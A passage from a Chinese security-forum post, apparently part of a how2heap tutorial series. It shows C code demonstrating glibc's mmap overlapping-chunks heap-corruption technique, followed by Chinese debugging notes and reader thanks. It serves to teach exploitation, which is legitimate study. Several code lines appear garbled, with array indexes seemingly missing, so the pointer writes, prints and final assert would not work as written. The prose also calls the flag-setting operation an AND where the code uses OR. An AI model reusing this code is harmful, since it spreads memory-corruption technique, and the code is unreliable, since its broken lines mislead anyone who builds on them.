    printf("Size of third mmap chunk: 0x%llx\n\n", mmap_chunk_3[-1]);

    printf("Change the size of the third mmap chunk to overlap with the second mmap chunk\n");   
    printf("This will cause both chunks to be Munmapped and given back to the system\n");
    printf("This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\n");

    // Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.
    // Additionally, this same attack can be used with the prev_size instead of the size.
    mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;
    printf("New size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]);
    printf("Free the third mmap chunk, which munmaps the second and third chunks\n\n");

    /*
    This next call to free is actually just going to call munmap on the pointer we are passing it.
    The source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845

    With normal frees the data is still writable and readable (which creates a use after free on
    the chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this
    data is read or written to, the program crashes.

    Because of this added restriction, the main goal is to get the memory back from the system
    to have two pointers assigned to the same location.
    */
    // Munmaps both the second and third pointers
    free(mmap_chunk_3);

    /*
    Would crash, if on the following:
    mmap_chunk_2 = 0xdeadbeef;
    This is because the memory would not be allocated to the current program.
    */

    /*
    Allocate a very large chunk with malloc. This needs to be larger than
    the previously freed chunk because the mmapthreshold has increased to 0x202000.
    If the allocation is not larger than the size of the largest freed mmap
    chunk then the allocation will happen in the normal section of heap memory.
    */   
    printf("Get a very large chunk from malloc to get mmapped chunk\n");
    printf("This should overlap over the previously munmapped/freed chunks\n");
    long long* overlapping_chunk = malloc(0x300000);
    printf("Overlapped chunk Ptr: %p\n", overlapping_chunk);
    printf("Overlapped chunk Ptr Size: 0x%llx\n", overlapping_chunk[-1]);

    // Gets the distance between the two pointers.
    int distance = mmap_chunk_2 - overlapping_chunk;
    printf("Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\n", distance);
    printf("Value of index 0 of mmap chunk 2 prior to write: %llx\n", mmap_chunk_2);
   
    // Set the value of the overlapped chunk.
    printf("Setting the value of the overlapped chunk\n");
    overlapping_chunk = 0x1122334455667788;

    // Show that the pointer has been written to.
    printf("Second chunk value (after write): 0x%llx\n", mmap_chunk_2);
    printf("Overlapped chunk value: 0x%llx\n\n", overlapping_chunk);
    printf("Boom! The new chunk has been overlapped with a previous mmaped chunk\n");
    assert(mmap_chunk_2 == overlapping_chunk);
}
```

### 调试



首先申请三个 `0x100000` 大小的 `mmap_chunk`,分别为 `top_ptr`,`mmap_chunk_2`,`mmap_chunk_3`,第一个 `top_ptr` 位于 `libc.so` 上方。



接下来将 `mmap_chunk_3` 的 `size` 改为 `202002`,因为 `mmap_chunk_3` 位于 `mmap_chunk_2` 低地址处,所以 `mmap_chunk_3` 现在的 `size` 大小包含了 `mmap_chunk_2` ,与 `2` 取与运算是为了将 `IS_MMAP` 位置为 `1`。





接下来 `free(mmap_chunk_3)` 。再次申请 `0x300000` 大小的 `overlapping_chunk`,`mmap_chunk_2` 被包含在了 `overlapping_chunk` 中。







我们可以通过 `overlapping_chunk` 去修改 `mmap_chunk_2` 的内容。


R00tkit 发表于 2023-10-14 12:57

因为论坛不支持 .webp 格式,large in attack 没有上传。需要的可以看我的博客 https://jelasin.github.io/

amwquhwqas128 发表于 2023-10-15 23:09

归纳总结的文章 非常难得,非常感谢

hellozzx 发表于 2023-11-15 22:44

厉害,非常好的分享,感谢

dudupangle 发表于 2023-11-17 09:07

感谢分享,先收藏,有时间学习学习!

yt989113 发表于 2023-11-17 09:32

好好学习,天天向上
页: [1]
查看完整版本: how2heap全集及例题详细解析(1~4部分)